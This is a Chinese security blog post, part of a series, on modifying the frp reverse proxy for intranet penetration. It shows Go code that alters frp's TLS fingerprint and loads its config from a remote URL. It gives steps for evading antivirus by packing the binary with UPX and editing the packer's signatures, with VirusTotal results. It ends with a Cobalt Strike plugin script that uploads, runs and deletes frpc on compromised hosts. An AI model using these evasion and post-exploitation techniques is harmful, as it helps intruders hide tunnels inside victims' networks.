0x4.1 修改特征
从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tls_enable = true 来启用此功能,安全性更高。 为了端口复用,frp 建立 TLS 连接的第一个字节为 0x17。 通过将 frps.ini 的 [common] 中 tls_only 设置为 true,可以强制 frps 只接受 TLS 连接。 注意: 启用此功能后除 xtcp 外,不需要再设置 use_encryption。
func generateTLSConfig() *tls.Config {
key, err := rsa.GenerateKey(rand.Reader, 1024)
if err != nil {
panic(err)
}
template := x509.Certificate{SerialNumber: big.NewInt(1)}
certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &key.PublicKey, key)
if err != nil {
panic(err)
}
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(key)})
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
tlsCert, err := tls.X509KeyPair(certPEM, keyPEM)
if err != nil {
panic(err)
}
return &tls.Config{Certificates: []tls.Certificate{tlsCert}}
客户端InsecureSkipVerify设置了不检验证书:
func (svr *Service) login() (conn net.Conn, session *fmux.Session, err error) {
xl := xlog.FromContextSafe(svr.ctx)
var tlsConfig *tls.Config
if svr.cfg.TLSEnable {
tlsConfig = &tls.Config{
InsecureSkipVerify: true,
}
}
conn, err = frpNet.ConnectServerByProxyWithTLS(svr.cfg.HttpProxy, svr.cfg.Protocol,
fmt.Sprintf("%s:%d", svr.cfg.ServerAddr, svr.cfg.ServerPort), tlsConfig)
if err != nil {
return
}
0x4.2 加载配置文件优化
原本的不足: 我们平时就是觉得多一个配置文件留在客户端不安全,且麻烦,也难以部署等等 通常来说我们的跳板机都是默认可以访问到我们部署的服务端的, 那么为什么我们不采取远程加载配置文件的方式呢? ex:frpc -c http://xq17.org/frpc.ini 这种方式当然也是兼容原来指定本地路径的,也就是说原生功能并不影响。 这种方案好处如下: 1.考虑安全性,可以考虑采取对配置文件进行异或,笔者觉得这个没啥用,你们可以自己发挥 2.针对1,我建议的是,执行成功之后,直接关掉你的远程配置文件就行了,没有那么多花里胡哨的。
func GetRenderedConfFromFile(path string) (out string, err error) {
var b []byte
rawUrl := path
if strings.Index(rawUrl, "http") != -1{
log.Info("http schema")
response, _err1 := http.Get(path)
if _err1 != nil {
panic(_err1)
}
defer response.Body.Close()
body, _err := ioutil.ReadAll(response.Body)
if _err != nil {
return
}
content := string(body)
out, err = RenderContent(content)
return
}else{
log.Info("local path")
b, err = ioutil.ReadFile(path)
if err != nil {
return
}
content := string(b)
out, err = RenderContent(content)
return
}
}
看下效果: 成功解析: emmm,感觉还是挺不错的。 0x4.3 压缩体积和免杀
因为日常环境杀软都是存在于window环境,所以这里只生成window下的frpc.exe来做演示 CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -o winfrp64.exe main.go
查看下大小13m: du -m winfrp64.exe
-----------
13 winfrp64
原生编译: 经过测试: 卡巴斯基不杀,全家桶不杀,火绒也不杀 杀毒网测试VirusTotal: 有两个国外的杀软识别出是风险文件,很准直接得出是代理工具frp,估计提取了frp的特征来做的: > ESET-NOD32 A Variant Of Win64/Riskware.Frp.C Symantec FastReverseProxy 那么怎么解决这个被杀且被识别出frp的问题呢? 下面讲讲超级简单的免杀与伪装的思路: 尝试upx压缩 upx -9 win64frp.exe 程序大小压缩了一半变为了7m,然后去检测一下,肯定风险会变高的。 而且国内最常见的av也报毒了。 emm,这种不可取,难道要搞点高端操作? 加载器shellcode? 源码免杀,源码混淆? 也不是不行,不过考虑到有点牛刀小用了。 我忽然想起来很久以前,自己折腾的无特征免杀的方式 我自己测试步骤如下: 1.先给程序添加图标、光标等资源 2.然后upx -1 压缩 3.修改一些upx的小特征,替换开头那些upx字符串为u0x之类的,版本信息改高点(修改下upx的解压信息部分)即可 最终实现的效果如下,不能直接脱掉upx壳,主流杀软也Bypass: vt分析结果:https://www.virustotal.com/gui/file/f3e79f813cce51e5b4976606da2bc8798c6789d5b9fd2667c124761dc4e0bee6/detection 文件大小也变为原来的1半了,如果你还想更加小,其实还有一些极致的压缩和免杀办法,涉及到程序源文件的一些修改,后面有空可以更深入研究下,做到更底层更极致从而效果更好。 至于那个microsoft不知道怎么回事, 我测试了几个机器的defender都没杀,所以说,还是勉强可用的吧。(喜欢全绿强迫症的师傅,免杀的方式其实还有很多种,只是没去一一实践。欢迎师傅找我一起探讨呀,) 0×5 frp-CS插件化集成 1. 首先我们编译打包所有版本的frp到一个文件夹直接执行下面项目下面这个package.sh编译程序即可,(PS.原生免杀,需要小体积如上操作即可) 这个到时候我会放在githud的release,因为frp是严格检验版本的,所以需要相同版本,这样也方便小伙伴们直接下载就可以用。
2. 开始编写CS插件 popup beacon_bottom {
menu "Frp Proxy"{
item "Upload" {
$bid = $1;
$dialog = dialog("Upload frpc", %(UploadPath => "C:\Windows\Temp\", bid => $bid), &upload);
drow_text($dialog, "UploadPath", "path: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub upload {
# switch to specify path
bcd($bid, $3['UploadPath']);
bsleep($bid, 0 ,0);
if (-is64 $bid['id']) {
bupload($bid, script_resource("/script/x64/frpc.exe"));
}else{
bupload($bid, script_resource("/script/x86/frpc.exe"));
}
show_message("Executing cmmand!");
}
item "Run"{
$bid = $1;
$dialog = dialog("Run frpc", %(uri => "http://x.x.x.x/frpc.ini or c:\frpc.ini", bid => $bid), &run);
drow_text($dialog, "uri", "configURI: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub run{
local('$Uri');
$Uri = $3['uri'];
bshell($bid, "frpc.exe -c $+ $Uri ");
show_message("Executing cmmand!");
bsleep($bid, 30, 0);
}
item "Delete" {
# local("bid");
bshell($1, "taskkill /f /t /im frpc.exe && del /f /s /q frpc.exe");
}
}
}
整体来说比较简单,但是因为函数是异步的,所以命令的完整执行得用其他办法去实现,后面我再读读文档,尝试优化下。 最终完整运行效果如下: 然后这个项目我放在了我的github:FrpProPlugin 欢迎师傅们给我点个star,和提出完善的思路。
0×6 碎碎念式总结 本文是基于frp V0.33版本来写的,现在frp都更新到0.35了,代码可能产生了部分差异,比如那个0x17的变量就改名了,不过整体没很大差异。还有就是代理工具还有蛮多工具,比如venom在多级代理的时候、通信加密等方面做到也很不错,不过我个人比较喜欢FRP,因为更专业,应用更广泛,功能也更丰富,后面如果有机会,可以将市面常用的代理工具进行对比分析,与大家一起探讨更多姿势。
(PS.特征千变万化,少年别只观一处,orz…)
0×7 参考链接 1. 知乎提问
2. DNS隧道技术iodine简介
3. 【ATT&CK】端口转发技术大全(下)
4. 实现SOCKS5协议
5. FRP 内网穿透
6. cs插件编写参考
7. HTTPS详解二:SSL / TLS 工作原理和详细握手过程
8. frp改造
(点击“阅读原文”查看链接)
- End - 精彩推荐 CDN 2021 完全攻击指南 (三) 内网渗透代理之frp的应用与改造(一) 风投巨头红杉资本遭受BEC攻击 乌克兰:针对政府网站的DDoS攻击源自俄罗斯
戳“阅读原文”查看更多内容 本文始发于微信公众号(安全客):内网渗透代理之frp的应用与改造(二)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论